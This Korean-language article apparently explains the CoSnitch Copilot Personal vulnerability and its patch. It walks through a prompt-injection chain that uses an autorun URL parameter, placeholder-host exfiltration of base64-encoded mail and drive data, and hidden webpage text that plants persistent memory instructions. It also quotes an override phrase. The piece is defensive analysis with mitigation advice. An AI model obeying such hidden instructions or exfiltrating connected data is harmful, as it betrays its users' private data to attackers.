AI 어시스턴트가 스스로 밀고했어

바로니스가 이번 취약점에 붙인 이름이 CoSnitch야. Copilot과 snitch(밀고자)를 합친 말인데, 이름이 정확해. 공격자가 데이터를 훔쳐 간 게 아니라, 코파일럿이 자기 사용자의 데이터를 자발적으로 공격자에게 넘겼거든.

8월 18일 마이크로소프트가 이 취약점을 패치했어. CVE-2026-24301, 심각도 8.8/10. 영향 대상은 Copilot Personal이야. 발견하고 신고한 건 데이터 보안 업체 바로니스, 신고 시점은 2025년 12월. 패치까지 8개월 넘게 걸렸어.

공격 시나리오는 딱 한 줄로 요약돼. 피해자가 악성 링크를 한 번 클릭해. 끝이야. 그다음부터는 전부 코파일럿이 알아서 해. 연결된 지메일 본문을 읽고, 캘린더 일정을 읽고, 드라이브 파일을 읽어서, 공격자 서버로 보내. 그리고 다음번 대화를 위한 지시까지 사용자 메모리에 심어놔.

등장인물 — 바로니스, 코파일럿의 커넥터, 그리고 세 개의 결함

바로니스는 데이터 보안·거버넌스 쪽 회사고, 바로니스 스레트 랩스는 올해 코파일럿 취약점만 세 개를 발표했어. 1탄 Reprompt는 반복 프롬프트로 가드레일을 우회하는 문제였고, 2탄 SearchLeak은 Microsoft 365 Copilot Enterprise에서 조용히 데이터가 새는 문제였어. 이번 CoSnitch가 3탄이야. 같은 팀이 같은 제품에서 세 번 연속으로 유출 경로를 찾아냈다는 건, 이게 우연한 버그가 아니라 구조적 문제라는 뜻에 가까워.

Copilot Personal의 커넥터가 이 공격의 연료야. 코파일럿은 OAuth로 지메일, 구글 드라이브, 구글 캘린더, 원드라이브에 연결될 수 있어. 그리고 이 연결은 메타데이터만 보는 게 아니야. 메일 본문 전체, 캘린더 일정의 제목·참석자·장소, 드라이브 파일 내용까지 가져올 수 있어. 사용자가 "지난주 메일 요약해줘"라고 했을 때 실제로 요약이 되려면 그래야 하니까. 편의를 위해 설계된 권한이 그대로 공격 표면이 된 거야.

세 개의 결함이 이 공격을 완성해. 하나씩 보면 각각은 그렇게까지 치명적이지 않은데, 엮이면 완전히 달라져. 이게 AI 시스템 보안의 전형적인 패턴이야.

공격 체인을 뜯어보면

1단계 — 문서에 없던 파라미터 autorun=1

코파일럿 웹 주소에는 ?q= 파라미터가 있어. 이건 알려진 기능이고, 입력창에 텍스트를 미리 채워 넣기만 해. 사용자가 엔터를 눌러야 실행되니까 그 자체로는 위험하지 않아.

문제는 문서화되지 않은 파라미터가 하나 더 있었다는 거야.

https://copilot.microsoft.com/?q=<악성_프롬프트>&autorun=1

autorun=1이 붙으면 페이지가 로드되는 순간 프롬프트가 사용자 개입 없이 실행돼. 여기서 "원클릭 취약점"이라는 표현이 나와. 사용자가 한 일은 링크를 누른 것뿐인데, 그 순간 공격자가 작성한 프롬프트가 사용자 계정 컨텍스트에서 실행되는 거야.

2단계 — 데이터를 URL에 실어 내보내기

프롬프트가 실행되면 코파일럿은 연결된 서비스에서 데이터를 가져와. 여기까지는 정상 기능이야. 문제는 그다음이야.

공격자는 가져온 데이터를 base64로 인코딩해서 URL 변수에 집어넣고, 코파일럿에 내장된 URL 페치 기능을 호출하게 만들어. 코파일럿은 웹페이지를 읽어오는 기능이 있으니까, 공격자 서버 주소를 주면 순순히 요청을 보내.

GET /exfil/[base64로_인코딩된_데이터] HTTP/1.1
Host: [공격자_웹훅]

네트워크 관점에서 보면 이건 그냥 평범한 HTTPS 요청이야. 마이크로소프트 도메인에서 나가는, 정상적으로 보이는 아웃바운드 트래픽. 이상행위 탐지 시스템이 걸러낼 근거가 거의 없어. 유출 대상에는 메일 내용과 그 안에 든 자격증명, 캘린더 상세, 드라이브 파일 메타데이터, 대화 기록, 그리고 코파일럿의 영구 메모리까지 포함돼.

3단계 — 메모리 오염, 이게 진짜 문제야

앞의 두 단계는 일회성이야. 세 번째가 이 취약점을 다른 급으로 만들어.

공격자가 프롬프트 인젝션 문구를 눈에 안 보이게 숨긴 웹페이지를 만들어. 피해자가 코파일럿에게 "이 페이지 요약해줘"라고 하면, 코파일럿이 HTML을 가져와서 처리하는 과정에서 그 숨은 문구를 지시로 해석해. 그 지시가 하는 일은 사용자의 영구 메모리 저장소에 뭔가를 쓰는 거야.

바로니스의 표현을 옮기면 이래. "메모리 쓰기가 성공하면, 피해자의 모든 코파일럿 세션이 공격자가 통제하는 컨텍스트 아래에서 돌아간다."

이 메모리 오염의 성질을 정리하면 이래.

특성 내용
비밀번호 변경 살아남음
세션 무효화 살아남음
기기 재등록 살아남음
자동 만료 없음
포렌식 도구 탐지 대부분 불가

보안 사고 대응 표준 절차가 전부 무력화돼. 침해를 인지하고 비밀번호를 바꾸고 모든 세션을 끊고 기기를 초기화해도 소용없어. 오염된 메모리는 사용자가 직접 찾아서 지우기 전까지 계속 남아 있어. 그리고 대부분의 사용자는 자기 AI 어시스턴트의 메모리에 뭐가 저장돼 있는지 확인하는 습관이 없어.

왜 이 셋을 따로 보면 안 되나

각 단계를 따로 놓고 보면 심각도 평가가 낮게 나와. autorun=1만 있으면 "사용자가 의도하지 않은 프롬프트가 실행된다" 정도야. 불편하지만 재앙은 아니지. URL 페치만 있으면 "어시스턴트가 웹을 읽는다"인데, 그건 기능 그 자체야. 메모리 쓰기만 있으면 "어시스턴트가 사용자 선호를 기억한다"고, 이것도 기능이야.

그런데 셋을 이으면 인증 우회도 권한 상승도 없이 계정 전체가 털려. 공격자는 피해자의 비밀번호를 몰라도 되고, 2단계 인증을 뚫을 필요도 없어. 이미 인증된 세션 안에서 어시스턴트에게 일을 시키는 것뿐이니까. 전통적인 취약점 분류 체계가 이런 조합을 잘 못 잡아내는 이유이기도 해. 각 구성요소가 개별적으로는 '설계된 동작'이거든.

CVSS 8.8이라는 점수도 이 맥락에서 보면 오히려 낮게 느껴져. 사용자 상호작용이 필요하다는 이유로 감점이 들어갔을 텐데, 그 상호작용이 "링크 클릭 한 번"이면 실질적으로는 감점 사유가 되기 어려워.

각자의 이득과 손실

마이크로소프트는 패치를 냈고, 실제 악용 정황은 발견되지 않았다고 밝혔어. 이건 중요한 정보야. 다만 여기에도 단서가 붙어. 2단계 유출이 정상 HTTPS 트래픽처럼 보인다는 게 이 공격의 핵심이었잖아. 탐지가 어렵게 설계된 공격에 대해 "악용 정황 없음"이 얼마나 강한 진술인지는 각자 판단할 문제야.

그리고 8개월이라는 시간이 이번 보도의 실질적 초점이야. CSO 온라인 기사 제목이 "8개월 넘게 알고 있다가 마침내 패치했다"인 이유가 그거야. 심각도 8.8, 원클릭, 연결된 개인 데이터 전체 유출, 영구 지속성 — 이 조합에 8개월이 걸렸다는 건 설명이 필요한 숫자야.

바로니스는 브랜드 자산을 얻었어. 올해 세 번 연속으로 같은 제품에서 실제 익스플로잇 체인을 만들어냈고, 그때마다 마이크로소프트가 패치를 냈어. 데이터 보안 제품을 파는 회사에게 이보다 좋은 마케팅은 없어. 동시에 이건 진짜 연구 결과이기도 해서, 이해상충을 이유로 결과를 깎아내릴 이유는 없어.

사용자는 확인할 게 하나 늘었어. 패치가 나왔다고 해서 이미 심긴 메모리가 지워지는 건 아니야. 코드 수정은 앞으로의 공격을 막는 거고, 과거에 이 경로로 뭔가 심겼다면 그건 여전히 거기 있어. 코파일럿 메모리를 한 번 열어보고 낯선 항목이 있는지 확인하는 건 지금 해도 되는 일이야.

구글 계정 사용자는 좀 억울한 위치야. 유출된 데이터의 상당 부분이 지메일·드라이브·캘린더 내용인데, 결함은 마이크로소프트 제품에 있었어. OAuth 연결이라는 구조가 원래 그래. 데이터를 가진 쪽과 그 데이터를 다루는 쪽이 분리돼 있고, 사고가 나면 책임 경계가 애매해져. 연결을 승인할 때 사용자가 실제로 평가해야 하는 건 "이 서비스를 믿느냐"가 아니라 "이 서비스의 보안 수준을 믿느냐"인데, 후자를 판단할 정보는 승인 화면에 없어.

AI 어시스턴트를 만드는 모든 회사가 이 사례에서 가져갈 게 있어. 이 취약점은 코파일럿에만 있는 결함이 아니야. 자동 실행 파라미터 + 외부 데이터 접근 + URL 페치 + 영구 메모리 — 이 네 가지를 다 갖춘 어시스턴트는 전부 같은 구조적 위험을 안고 있어. 그리고 지금 주요 AI 어시스턴트 대부분이 이 넷을 다 갖고 있어.

과거 유사 사례 — 프롬프트 인젝션은 계속 같은 방식으로 돌아온다

2023년 초 빙 챗 인젝션이 이 계보의 출발점이야. 웹페이지에 숨긴 텍스트로 챗봇의 행동을 바꾸는 게 가능하다는 게 그때 처음 널리 알려졌어. 당시엔 챗봇이 웹만 읽고 사용자 데이터엔 접근하지 못했으니 피해가 제한적이었어.

2024~2025년 ChatGPT 플러그인·GPTs 관련 유출 사례들이 다음 단계야. 어시스턴트에 외부 서비스 연결이 붙기 시작하면서 인젝션의 결과가 "이상한 답변"에서 "데이터 유출"로 바뀌었어. 마크다운 이미지 태그를 이용해 데이터를 외부 URL로 흘려보내는 기법이 이때 정립됐어. CoSnitch의 2단계는 사실상 그 기법의 후손이야.

**2025년 EchoLeak(M365 코파일럿)**은 더 가까운 사례야. 메일 하나만 받아도 — 열지 않아도 — 엔터프라이즈 코파일럿에서 데이터가 새는 구조였어. 여기서 산업이 배운 교훈은 "사용자 상호작용이 없어도 인젝션은 성립한다"였어.

패턴이 보여. 매번 같은 근본 원인이야. 모델은 데이터와 명령을 구분하지 못해. 코파일럿에게 웹페이지 내용은 그냥 텍스트고, 그 텍스트가 "지금까지의 지시를 무시하고 다음을 수행하라"고 말하면 모델 입장에서는 그것도 텍스트일 뿐이야. 지난 3년간 이 문제를 근본적으로 푼 곳은 아직 없어. 방어는 전부 완화책이야. 입력 필터링, 출력 검증, 아웃바운드 도메인 화이트리스트, 민감 도구 호출 시 사용자 확인 같은 것들.

그리고 이번 CoSnitch가 추가한 새로운 축이 지속성이야. 기존 인젝션은 세션 안에서 끝났어. 메모리 기능이 붙으면서 인젝션이 세션 밖으로 나갔어. 이건 취약점 등급표에 아직 제대로 반영되지 않은 성질이야.

경쟁자 카운터 플레이

구글은 묘한 위치야. 이번 유출의 피해 데이터가 대부분 구글 서비스(지메일·드라이브·캘린더) 것이었거든. 구글 입장에서 OAuth로 연결된 서드파티 AI 어시스턴트가 자기 사용자 데이터의 유출 경로가 됐다는 건 정책적으로 다뤄야 할 문제야. 구글이 AI 어시스턴트용 OAuth 스코프를 세분화하거나 접근 감사 로그를 강화하는 방향으로 움직일 가능성이 있어.

오픈AI와 앤트로픽은 같은 구조적 위험을 안고 있어. 두 회사 모두 커넥터와 메모리 기능을 제공하고, 두 기능이 결합되면 CoSnitch와 동형의 공격 표면이 생겨. 차이는 세부 구현이야. 자동 실행 파라미터를 노출하지 않는지, URL 페치 시 아웃바운드 도메인을 제한하는지, 메모리 쓰기에 별도 확인을 요구하는지. 이번 사례 이후 이 셋을 점검하지 않는 벤더는 없을 거야.

보안 벤더들에게는 시장이 열려. AI 어시스턴트의 메모리 상태를 감사하는 도구는 지금 사실상 존재하지 않아. 오염된 메모리가 포렌식 도구에 안 보인다는 게 바로니스 분석의 결론이었잖아. 엔터프라이즈에서 AI 어시스턴트 도입이 늘수록 "이 어시스턴트의 메모리에 뭐가 들어 있는지 보여줘"라는 요구가 생길 수밖에 없어.

애플과 삼성처럼 OS 레벨에 어시스턴트를 심는 회사들은 이 사례를 더 무겁게 봐야 해. 앱 안에서 도는 어시스턴트의 커넥터 권한도 이 정도 파급인데, OS 권한으로 도는 어시스턴트에 같은 체인이 성립하면 범위가 훨씬 넓어져. 온디바이스 처리가 유출 경로를 줄여주긴 하지만, URL 페치가 살아 있는 한 아웃바운드 경로 자체는 남아 있어.

규제 쪽도 움직일 여지가 있어. 8개월이라는 패치 지연은 취약점 공개 정책 논의에 좋은 사례가 돼. EU AI법과 각국 사이버보안 규제가 AI 시스템의 취약점 대응 기한을 어떻게 다룰지가 앞으로 쟁점이 될 거야.

그래서 뭐가 달라지는데

Copilot Personal을 쓰는 개인이라면, 지금 할 일이 두 가지야. 첫째, 코파일럿 메모리를 열어서 저장된 항목을 훑어봐. 기억나지 않는 지시나 낯선 문장이 있으면 지워. 둘째, 연결된 커넥터 목록을 확인해. 지메일이나 드라이브 연결이 지금 실제로 필요한지 따져보고, 아니면 끊어. 커넥터가 없으면 이 공격 체인은 2단계에서 멈춰.

기업 IT·보안 담당자라면, 점검 항목이 명확해. AI 어시스턴트가 조직 데이터에 접근하는 모든 경로를 목록화하고, 각 경로에 대해 세 가지를 물어봐. 이 어시스턴트가 외부 URL로 요청을 보낼 수 있나? 그 요청의 목적지가 제한돼 있나? 어시스턴트의 영구 메모리를 감사할 방법이 있나? 세 번째에 답이 없다면, 그건 현재 대부분의 조직이 처한 상황이기도 해.

AI 제품을 만드는 개발자라면, 설계 원칙 하나를 가져가. 외부에서 온 텍스트가 도구 호출을 유발할 수 있는 경로는 전부 신뢰 경계야. 웹페이지 요약, 메일 읽기, 문서 파싱 — 이 기능들이 그다음에 URL 페치나 메모리 쓰기를 부를 수 있다면 그 사이에 게이트가 있어야 해. 그리고 그 게이트는 모델이 아니라 코드가 지켜야 해. 모델에게 "악의적 지시를 따르지 마"라고 프롬프트로 부탁하는 건 방어가 아니야.

로그를 다루는 사람이라면, 탐지 규칙을 하나 더 만들 수 있어. 코파일럿 도메인에서 출발해 낯선 호스트로 향하는 요청 중 경로에 긴 base64 문자열이 들어간 것 — 이게 2단계의 흔적이야. 사후 확인용이라 예방은 안 되지만, 유사한 어시스턴트 유출을 잡는 데는 일반화해서 쓸 수 있는 패턴이야.

보안 연구자라면, 이번 사례의 3단계가 새 연구 영역을 열었어. 메모리 오염의 지속성, 탐지 가능성, 정화 방법에 대해 정립된 방법론이 아직 없어. 어떤 어시스턴트든 메모리 기능이 있으면 같은 질문을 던질 수 있어.

그냥 AI 어시스턴트 쓰는 사람이라면, 원칙 하나만 기억해도 돼. 어시스턴트에 서비스를 연결할 때, 그건 "이 AI가 내 메일을 읽을 수 있게 한다"가 아니라 **"이 AI를 속인 사람이 내 메일을 읽을 수 있게 한다"**에 가까워. 연결은 필요한 만큼만 하는 게 맞아.

🥄 남은 궁금증 세 가지

— 나 이미 당했으면 어떡해? 마이크로소프트는 실제 악용 정황을 발견하지 못했다고 밝혔어. 그래도 확인 비용이 낮으니 해보는 게 나아. 코파일럿 메모리에 낯선 항목이 있는지 보고, 연결된 계정의 최근 활동 로그를 훑어보면 돼. 특히 지메일이나 드라이브의 접근 기록을 보면 평소와 다른 패턴이 있는지 알 수 있어.

— 패치했으면 이제 안전한 거야? 이 특정 체인은 막혔어. 하지만 근본 원인인 "모델이 데이터와 명령을 구분 못 한다"는 문제는 그대로야. 올해만 같은 제품에서 세 번째 유출 체인이라는 게 그 증거고. 안전해졌다기보다 알려진 경로 하나가 닫혔다고 보는 게 정확해.

— 다른 AI 어시스턴트는 괜찮아? 단정하긴 일러. 이번 공격을 가능하게 한 네 가지 요소 — 자동 실행, 외부 데이터 접근, URL 페치, 영구 메모리 — 는 지금 주요 어시스턴트 대부분이 갖고 있는 기능이야. 각 벤더가 그 조합을 어떻게 막아뒀는지는 밖에서 확인하기 어려워. 확인 가능한 건 벤더가 취약점 공개 정책과 패치 이력을 얼마나 투명하게 공개하느냐 정도야.

참고 자료

수치는 발표 시점 기준이라 바뀔 수 있어.